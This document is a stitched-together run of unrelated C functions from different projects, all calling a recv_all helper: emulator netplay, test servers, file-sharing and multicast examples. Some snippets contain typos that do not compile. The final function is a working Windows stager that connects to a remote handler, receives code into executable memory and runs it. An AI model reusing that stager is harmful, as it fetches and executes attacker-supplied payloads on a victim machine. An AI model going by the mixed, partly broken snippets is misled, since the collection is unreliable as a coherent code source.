/** * Receive input buffer, convert to Stream object * * @return SUCCESS on success, else, -1 on error */ ssize_t receive_input(void) { ssize_t res; Stream tmp; // recv Input type and size res = recv_all((char *)&tmp, sizeof(tmp)); if (res != sizeof(tmp)) { _terminate(ERRNO_RECV); } // check for invalid INPUT_TYPE if (memcmp(INPUT_TYPE_PLAIN, (const char *)tmp.type, sizeof(INPUT_TYPE_PLAIN)) && memcmp(INPUT_TYPE_SERIALIZED, (const char *)tmp.type, sizeof(INPUT_TYPE_SERIALIZED))) { return -1; } in = malloc(sizeof(tmp) + tmp.size); MALLOC_OK(in); in->size = tmp.size; cgc_memcpy(in->type, tmp.type, sizeof(INPUT_TYPE_SERIALIZED)); res = recv_all(in->content, in->size); if (res != in->size) { _terminate(ERRNO_RECV); } return SUCCESS; }
/* post a frame to the wire */ int client_recv_frame(SOCKET MySock, void * buffer, int maxlength) { int nret; unsigned short len; /* read a 2 byte short indicating size of frame to read */ nret = recv_all(MySock, (char *)&len, sizeof(unsigned short)); len = ntohs(len); /* do the standard error checking */ if (nret == SOCKET_ERROR) { printf("Size receive corrupt\n"); } /* sanity check for the length value */ if (len > maxlength) { printf("Read len is too large\n"); closesocket(MySock); WSACleanup(); exit(1); } /* read the actual frame into our buffer */ //printf("Will read: %d (was %d) from wire\n", len, htons(len)); nret = recv_all(MySock, (char *)buffer, len); return nret; }
static bool get_info_spectate(netplay_t *handle) { if (!send_nickname(handle, handle->fd)) { RARCH_ERR("Failed to send nickname to host.\n"); return false; } if (!get_nickname(handle, handle->fd)) { RARCH_ERR("Failed to receive nickname from host.\n"); return false; } char msg[512]; snprintf(msg, sizeof(msg), "Connected to \"%s\"", handle->other_nick); msg_queue_push(g_extern.msg_queue, msg, 1, 180); RARCH_LOG("%s\n", msg); uint32_t header[4]; if (!recv_all(handle->fd, header, sizeof(header))) { RARCH_ERR("Cannot get header from host.\n"); return false; } size_t save_state_size = pretro_serialize_size(); if (!bsv_parse_header(header, implementation_magic_value())) { RARCH_ERR("Received invalid BSV header from host.\n"); return false; } void *buf = malloc(save_state_size); if (!buf) return false; size_t size = save_state_size; if (!recv_all(handle->fd, buf, size)) { RARCH_ERR("Failed to receive save state from host.\n"); free(buf); return false; } bool ret = true; if (save_state_size) ret = pretro_unserialize(buf, save_state_size); free(buf); return ret; }
static bool netplay_get_cmd(netplay_t *handle) { uint32_t cmd; if (!recv_all(handle->fd, &cmd, sizeof(cmd))) return false; cmd = ntohl(cmd); size_t cmd_size = cmd & 0xffff; cmd = cmd >> 16; switch (cmd) { case NETPLAY_CMD_FLIP_PLAYERS: { if (cmd_size != sizeof(uint32_t)) { RARCH_ERR("CMD_FLIP_PLAYERS has unexpected command size.\n"); return netplay_cmd_nak(handle); } uint32_t flip_frame; if (!recv_all(handle->fd, &flip_frame, sizeof(flip_frame))) { RARCH_ERR("Failed to receive CMD_FLIP_PLAYERS argument.\n"); return netplay_cmd_nak(handle); } flip_frame = ntohl(flip_frame); if (flip_frame < handle->flip_frame) { RARCH_ERR("Host asked us to flip players in the past. Not possible ...\n"); return netplay_cmd_nak(handle); } handle->flip ^= true; handle->flip_frame = flip_frame; RARCH_LOG("Netplay players are flipped.\n"); msg_queue_push(g_extern.msg_queue, "Netplay players are flipped.", 1, 180); return netplay_cmd_ack(handle); } default: RARCH_ERR("Unknown netplay command received.\n"); return netplay_cmd_nak(handle); } }
int main(int argc, char const *argv[]) { char *ip, *port; get_input(argc, argv, &ip, &port); printf("IP = %s\n", ip); printf("Port = %s\n", port); int sock; sock = create_socket(SOCK_DGRAM, ip); /* PROTOTIPO de como ENVIA mensagens */ char msg[BUF_SIZE]; strcat(msg, "GET /index.html HTTP/1.1\r\nHost: "); strcat(msg, ip); strcat(msg, "\r\n\r\n"); print_request(msg); send_all(sock, msg); /* PROTOTIPO de como RECEBE mensagens */ // int recv(int sockfd, void *buf, int len, int flags); char *buff; size_t by_recv; by_recv = recv_all(sock, &buff, BUF_SIZE); print_response(buff); return 0; }
// recv refund details // success: SUCCESS // failure: ERRNO_MP_ALLOC, ERRNO_MP_RECV int transaction_recv_refund(packet_data_refund_t ** pdr) { // create memory for refund data ALLOC(sizeof(packet_data_refund_t), 0, (void **)pdr); if(sizeof(packet_data_refund_t) != recv_all((char *)*pdr, sizeof(packet_data_refund_t))) {return ERRNO_MP_RECV;} return SUCCESS; }
// recv history details // success: SUCCESS // failure: ERRNO_MP_ALLOC, ERRNO_MP_RECV int transaction_recv_history(packet_data_history_t ** pdh) { // create memory for history data ALLOC(sizeof(packet_data_history_t), 0, (void **)pdh); if(sizeof(packet_data_history_t) != recv_all((char *)*pdh, sizeof(packet_data_history_t))) {return ERRNO_MP_RECV;} return SUCCESS; }
// recv recharge details // success: SUCCESS // failure: ERRNO_MP_ALLOC, ERRNO_MP_RECV int transaction_recv_recharge(packet_data_recharge_t ** pdr) { // create memory for recharge data + vendor ALLOC(sizeof(packet_data_recharge_t), 0, (void **)pdr); // read recharge data and vendor data (except vendor_location) if(10 != recv_all((char *)*pdr, 10)) {return ERRNO_MP_RECV;} uint32_t vls = (*pdr)->v.vendor_location_sz; if(vls == 0) {return ERRNO_MP_RECV;} // create memory for vendor_location char array ALLOC(vls, 0, (void **)&((*pdr)->v.vendor_location)); // read vendor_location (size is in previous read) if(vls != recv_all((char *)(*pdr)->v.vendor_location, vls)) {return ERRNO_MP_RECV;} return SUCCESS; }
// recv issue details // success: SUCCESS // failure: ERRNO_MP_ALLOC, ERRNO_MP_RECV int transaction_recv_issue(packet_data_issue_t ** pdi) { // create memory for issue data ALLOC(sizeof(packet_data_issue_t), 0, (void **)pdi); if(sizeof(packet_data_issue_t) != recv_all((char *)*pdi, sizeof(packet_data_issue_t))) {return ERRNO_MP_RECV;} return SUCCESS; }
static void run_pp_server(psdapl_con_info_t *ci) { char *buf = malloc(arg_maxmsize); int msgsize; while (1) { msgsize = recv_all(ci, buf); if (DEBUG_MESSAGES) { static int allcount = 0; allcount ++; printf("received: msgsize:%u %s\n", msgsize, buf + sizeof(unsigned)); sprintf(buf + sizeof(unsigned), "ServerRet#%d", allcount); printf("Send: %s\n", buf + sizeof(unsigned)); } send_all(ci, buf, msgsize); if (msgsize <= 0) break; } if (msgsize == 0) { printf("receive EOF\n"); } else { printf("receive error : %s\n", strerror(-msgsize)); } }
// recv purchase details // success: SUCCESS // failure: ERRNO_MP_ALLOC, ERRNO_MP_RECV int transaction_recv_purchase(packet_data_purchase_t ** pdp) { // create memory for purchase data + vendor ALLOC(sizeof(packet_data_purchase_t), 0, (void **)pdp); // cgc_read purchase data and vendor data (except vendor_location) if(14 != recv_all((char *)*pdp, 14)) {return ERRNO_MP_RECV;} uint32_t vls = (*pdp)->v.vendor_location_sz; if(vls == 0) {return ERRNO_MP_RECV;} // create memory for vendor_location char array ALLOC(vls, 0, (void **)&((*pdp)->v.vendor_location)); // cgc_read vendor_location (size is in previous cgc_read) if(vls != recv_all((char *)(*pdp)->v.vendor_location, vls)) {return ERRNO_MP_RECV;} return SUCCESS; }
static int run_pp_c(psdapl_con_info_t *ci, unsigned msgsize, unsigned loops) { unsigned cnt; if (msgsize < sizeof(unsigned)) msgsize = sizeof(unsigned); char *buf = malloc(msgsize); *((unsigned *)buf) = msgsize; for (cnt = 0; cnt < loops; cnt++) { if (DEBUG_MESSAGES) { sprintf(buf + sizeof(unsigned), "C2S#%d", cnt); printf("Send: %s\n", buf + sizeof(unsigned)); } send_all(ci, buf, msgsize); recv_all(ci, buf); if (DEBUG_MESSAGES) { printf("received: %s\n", buf + sizeof(unsigned)); } } free(buf); return 0; }
int main(int argc, char **argv) { int sendfd, recvfd; const int on = 1; socklen_t salen; struct sockaddr *sasend, *sarecv; if (argc != 3) err_quit("usage: sendrecv <IP-multicast-address> <port#>"); sendfd = Udp_client(argv[1], argv[2], (void **) &sasend, &salen); recvfd = Socket(sasend->sa_family, SOCK_DGRAM, 0); Setsockopt(recvfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)); sarecv = Malloc(salen); memcpy(sarecv, sasend, salen); Bind(recvfd, sarecv, salen); Mcast_join(recvfd, sasend, salen, NULL, 0); Mcast_set_loop(sendfd, 0); if (Fork() == 0) recv_all(recvfd, salen); /* child -> receives */ send_all(sendfd, sasend, salen); /* parent -> sends */ }
static void bg_traffic_thread(SInfo *info) { static const int data_len = 10; char sbuffer[data_len + 1] = "dummydata_"; char rbuffer[data_len + 1]; int scount, rtotal = 0; info->setSenderThreadId(ThisThread::get_id()); for (;;) { if (!info->available()) { (void)handle_nsapi_size_or_error(__func__, rtotal); break; } sbuffer[data_len - 1] = 'A' + (rand() % 26); scount = info->socket().send(sbuffer, data_len); rtotal = recv_all(rbuffer, data_len, info); if (scount != rtotal || (strcmp(sbuffer, rbuffer) != 0)) { info->setUnavailable(); tr_err("Background received data does not match to sent data"); tr_err("Background sent: \"%s\"", sbuffer); tr_err("Background received: \"%s\"", rbuffer); } wait_ms(10); } }
static bool netplay_get_response(netplay_t *handle) { uint32_t response; if (!recv_all(handle->fd, &response, sizeof(response))) return false; return ntohl(response) == NETPLAY_CMD_ACK; }
/** * Main function for the thread that runs the client-side of the * interaction with the upgraded socket. * * @param cls the client socket */ static void * run_usock_client (void *cls) { wr_socket *sock = cls; send_all (*sock, "GET / HTTP/1.1\r\nConnection: Upgrade\r\n\r\n"); recv_hdr (*sock); recv_all (*sock, "Hello"); send_all (*sock, "World"); recv_all (*sock, "Finished"); wr_close (*sock); done = 1; return NULL; }
static bool get_info(netplay_t *handle) { uint32_t header[3]; if (!recv_all(handle->fd, header, sizeof(header))) { RARCH_ERR("Failed to receive header from client.\n"); return false; } if (g_extern.cart_crc != ntohl(header[0])) { RARCH_ERR("Cart CRC32s differ. Cannot use different games.\n"); return false; } if (implementation_magic_value() != ntohl(header[1])) { RARCH_ERR("Implementations differ, make sure you're using exact same libretro implementations and RetroArch version.\n"); return false; } if (pretro_get_memory_size(RETRO_MEMORY_SAVE_RAM) != ntohl(header[2])) { RARCH_ERR("Cartridge SRAM sizes do not correspond.\n"); return false; } if (!get_nickname(handle, handle->fd)) { RARCH_ERR("Failed to get nickname from client.\n"); return false; } // Send SRAM data to our Player 2. const void *sram = pretro_get_memory_data(RETRO_MEMORY_SAVE_RAM); unsigned sram_size = pretro_get_memory_size(RETRO_MEMORY_SAVE_RAM); if (!send_all(handle->fd, sram, sram_size)) { RARCH_ERR("Failed to send SRAM data to client.\n"); return false; } if (!send_nickname(handle, handle->fd)) { RARCH_ERR("Failed to send nickname to client.\n"); return false; } #ifndef HAVE_SOCKET_LEGACY log_connection(&handle->other_addr, 0, handle->other_nick); #endif return true; }
void phone_recvplay(void *vs){ int* ps = (int *)vs; int s = *ps; int i; FILE *fp_play; if ( (fp_play=popen("play -t raw -b 16 -c 1 -e s -r 44100 - 2> /dev/null ","w")) ==NULL) { die("popen:play"); } int cut_low=300, cut_high=5000; int send_len = (cut_high-cut_low)*N/SAMPLING_FREQEUENCY; double * recv_data = malloc(sizeof(double)*send_len*2); sample_t * play_data = malloc(sizeof(sample_t)*N); sample_t * pre_data = malloc(sizeof(sample_t)*N/2); complex double * X = calloc(sizeof(complex double), N); complex double * Y = calloc(sizeof(complex double), N); complex double * Z = calloc(sizeof(complex double), N); complex double * W = calloc(sizeof(complex double), N); memset(pre_data,0,N); while(1){ memset(W,0.0+0.0*I,N*sizeof(complex double)); memset(Z,0.0+0.0*I,N*sizeof(complex double)); // memset(rec_data,0,sizeof(long)*send_len*2); if(recv_all(s,(char *)recv_data,sizeof(double)*send_len*2)==-1){ die("recv"); } for(i=0; i<send_len; i++){ W[cut_low*N/SAMPLING_FREQEUENCY+i]=(double)recv_data[2*i]+(double)recv_data[2*i+1]*I; } // /* IFFT -> Z */ ifft(W, Z, N); // // 標本の配列に変換 complex_to_sample(Z, play_data, N); // オーバーラップを戻す for(i=0;i<N/2;i++){ play_data[i] += pre_data[i]; } memcpy(pre_data,play_data+N/2,N/2); // 無音状態だったらスキップ int num_low=0; for(i=0;i<N;i++){ if(-10<play_data[i] && play_data[i]<10) num_low++; } if(num_low>80*N/100) continue; // /* 標準出力へ出力 */ // write(1,play_data,N/2); fwrite(play_data,sizeof(sample_t),N/2,fp_play); memset(play_data,0,sizeof(sample_t)*N); } }
/* * server * client minor ver <= server minor ver */ int isisds_recv_open(SOCKET s, ISISDSAccessMode *access_type) { isisds_open_t op; if ((recv_all(s, (char *)&op, sizeof(op), 0)) != sizeof(op)) { return -1; } if (op.len != sizeof(op)) { return -1; } if ((op.ver_major != ISISDS_MAJOR_VER) || (op.ver_minor > ISISDS_MINOR_VER)) { return -1; } *access_type = (ISISDSAccessMode)op.access_type; return isisds_send_command(s, "OK", NULL, ISISDSUnknown, NULL, 0); }
static int process_mkdir_cmd(client_t *client, netiso_mkdir_cmd *cmd) { netiso_mkdir_result result; char *dirpath; uint16_t dp_len; int ret; dp_len = BE16(cmd->dp_len); dirpath = (char *)malloc(dp_len+1); if (!dirpath) { DPRINTF("CRITICAL: memory allocation error\n"); return -1; } dirpath[dp_len] = 0; ret = recv_all(client->s, (void *)dirpath, dp_len); if (ret != dp_len) { DPRINTF("recv failed, getting dirname for mkdir: %d %d\n", ret, get_network_error()); free(dirpath); return -1; } dirpath = translate_path(dirpath, 1, 1, NULL); if (!dirpath) { DPRINTF("Path cannot be translated. Connection with this client will be aborted.\n"); return -1; } DPRINTF("mkdir %s\n", dirpath); #ifdef WIN32 result.mkdir_result = BE32(mkdir(dirpath)); #else result.mkdir_result = BE32(mkdir(dirpath, 0777)); #endif free(dirpath); ret = send(client->s, (char *)&result, sizeof(result), 0); if (ret != sizeof(result)) { DPRINTF("open dir, send result error: %d %d\n", ret, get_network_error()); return -1; } return 0; }
static int process_write_file_cmd(client_t *client, netiso_write_file_cmd *cmd) { uint32_t remaining; int32_t bytes_written; netiso_write_file_result result; remaining = BE32(cmd->num_bytes); if (!client->wo_file) { bytes_written = -1; goto send_result; } if (remaining > BUFFER_SIZE) { return -1; } //DPRINTF("Remaining: %d\n", remaining); if (remaining > 0) { int ret = recv_all(client->s, (void *)client->buf, remaining); if (ret != remaining) { DPRINTF("recv failed on write file: %d %d\n", ret, get_network_error()); return -1; } } bytes_written = client->wo_file->write(client->buf, remaining); if (bytes_written < 0) { bytes_written = -1; } send_result: result.bytes_written = (int32_t)BE32(bytes_written); if (send(client->s, (char *)&result, sizeof(result), 0) != 4) { DPRINTF("send failed on send result (read file)\n"); return -1; } return 0; }
/* * server * client minor ver <= server minor ver */ int isisds_recv_open(SOCKET s, ISISDSAccessMode *access_type) { isisds_open_t op; if ((recv_all(s, reinterpret_cast<char *>(&op), sizeof(op), 0)) != sizeof(op)) { return -1; } if (op.len != sizeof(op)) { return -1; } if ((op.ver_major != ISISDS_MAJOR_VER) || (op.ver_minor > ISISDS_MINOR_VER)) { return -1; } *access_type = static_cast<ISISDSAccessMode>(op.access_type); return isisds_send_command(s, "OK", nullptr, ISISDSUnknown, nullptr, 0); }
static bool get_nickname(netplay_t *handle, int fd) { uint8_t nick_size; if (!recv_all(fd, &nick_size, sizeof(nick_size))) { RARCH_ERR("Failed to receive nick size from host.\n"); return false; } if (nick_size >= sizeof(handle->other_nick)) { RARCH_ERR("Invalid nick size.\n"); return false; } if (!recv_all(fd, handle->other_nick, nick_size)) { RARCH_ERR("Failed to receive nick.\n"); return false; } return true; }
static int16_t netplay_get_spectate_input(netplay_t *handle, bool port, unsigned device, unsigned index, unsigned id) { int16_t inp; if (recv_all(handle->fd, NONCONST_CAST &inp, sizeof(inp))) return swap_if_big16(inp); else { RARCH_ERR("Connection with host was cut.\n"); msg_queue_clear(g_extern.msg_queue); msg_queue_push(g_extern.msg_queue, "Connection with host was cut.", 1, 180); pretro_set_input_state(g_extern.netplay->cbs.state_cb); return g_extern.netplay->cbs.state_cb(port, device, index, id); } }
/** * Main function for the thread that runs the interaction with * the upgraded socket. * * @param cls the handle for the upgrade */ static void * run_usock (void *cls) { struct MHD_UpgradeResponseHandle *urh = cls; send_all (usock, "Hello"); recv_all (usock, "World"); send_all (usock, "Finished"); MHD_upgrade_action (urh, MHD_UPGRADE_ACTION_CLOSE); return NULL; }
static int process_delete_file_cmd(client_t *client, netiso_delete_file_cmd *cmd) { netiso_delete_file_result result; char *filepath; uint16_t fp_len; int ret; fp_len = BE16(cmd->fp_len); filepath = (char *)malloc(fp_len+1); if (!filepath) { DPRINTF("CRITICAL: memory allocation error\n"); return -1; } filepath[fp_len] = 0; ret = recv_all(client->s, (void *)filepath, fp_len); if (ret != fp_len) { DPRINTF("recv failed, getting filename for delete file: %d %d\n", ret, get_network_error()); free(filepath); return -1; } filepath = translate_path(filepath, 1, 1, NULL); if (!filepath) { DPRINTF("Path cannot be translated. Connection with this client will be aborted.\n"); return -1; } DPRINTF("delete %s\n", filepath); result.delete_result = BE32(unlink(filepath)); free(filepath); ret = send(client->s, (char *)&result, sizeof(result), 0); if (ret != sizeof(result)) { DPRINTF("delete, send result error: %d %d\n", ret, get_network_error()); return -1; } return 0; }
static int process_get_dir_size_cmd(client_t *client, netiso_get_dir_size_cmd *cmd) { netiso_get_dir_size_result result; char *dirpath; uint16_t dp_len; int ret; dp_len = BE16(cmd->dp_len); dirpath = (char *)malloc(dp_len+1); if (!dirpath) { DPRINTF("CRITICAL: memory allocation error\n"); return -1; } dirpath[dp_len] = 0; ret = recv_all(client->s, (char *)dirpath, dp_len); if (ret != dp_len) { DPRINTF("recv failed, getting dirname for get_dir_size: %d %d\n", ret, get_network_error()); free(dirpath); return -1; } dirpath = translate_path(dirpath, 1, 1, NULL); if (!dirpath) { DPRINTF("Path cannot be translated. Connection with this client will be aborted.\n"); return -1; } DPRINTF("get_dir_size %s\n", dirpath); result.dir_size = BE64(calculate_directory_size(dirpath)); free(dirpath); ret = send(client->s, (char *)&result, sizeof(result), 0); if (ret != sizeof(result)) { DPRINTF("get_dir_size, send result error: %d %d\n", ret, get_network_error()); return -1; } return 0; }
void handle_event_group(gpointer key, gpointer value, gpointer userdata) { node_t* node = (node_t*) value; fd_set active_set = *(fd_set*)userdata; if(node != NULL && node->inbox != NULL) { if(FD_ISSET(node->inbox->fd, &active_set)) { message_t *msg = malloc(sizeof(message_t)); // The size of message_t is used here because it is the longuest we can receive. bool retval = recv_all(node->inbox->fd, (void*)msg, sizeof(message_t)); if(retval) { handle_message(msg, node); } else { free(msg); handle_disconnexion(*(int*)key); } } } }
int main(int argc,char *argv[]) { int recvfd,sendfd,n; const in on = 1; socklen_t salen; struct sockaddr *sarecv,*sasend; if(argc != 3) err_quit("usage: sendrecv <IP-multicast-addr> <port#>"); sendfd = Udp_client(argv[1],argv[2],&sasend,&salen); sarecv = malloc(salen); memcpy(sarecv,sasend,salen); recvfd = Socket(sarecv->sa_family,SOCK_DGRAM,0); bind(recvfd,sarecv,salen); setscokopt(recvfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); if(fork() == 0) recv_all(recvfd,salen); send_all(sendfd,sasend,salen); }
int main(int argc, char * argv[]) { ULONG32 size; char * buffer; void(*function)(); winsock_init(); if (argc != 3) { printf("%s [host] [port]\n", argv[0]); exit(1); } /* connect to the handler */ SOCKET my_socket = wsconnect(argv[1], atoi(argv[2])); /* read the 4-byte length */ int count = recv(my_socket, (char *)&size, 4, 0); if (count != 4 || size <= 0) punt(my_socket, "read a strange or incomplete length value\n"); /* allocate a RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, "could not allocate buffer\n"); /* prepend a little assembly to move our SOCKET value to the EDI register thanks mihi for pointing this out BF 78 56 34 12 => mov edi, 0x12345678 */ buffer[0] = 0xBF; /* copy the value of our socket to the buffer */ memcpy(buffer + 1, &my_socket, 4); /* read bytes into the buffer */ count = recv_all(my_socket, buffer + 5, size); /* cast our buffer as a function and call it */ function = (void(*)())buffer; function(); return 0; }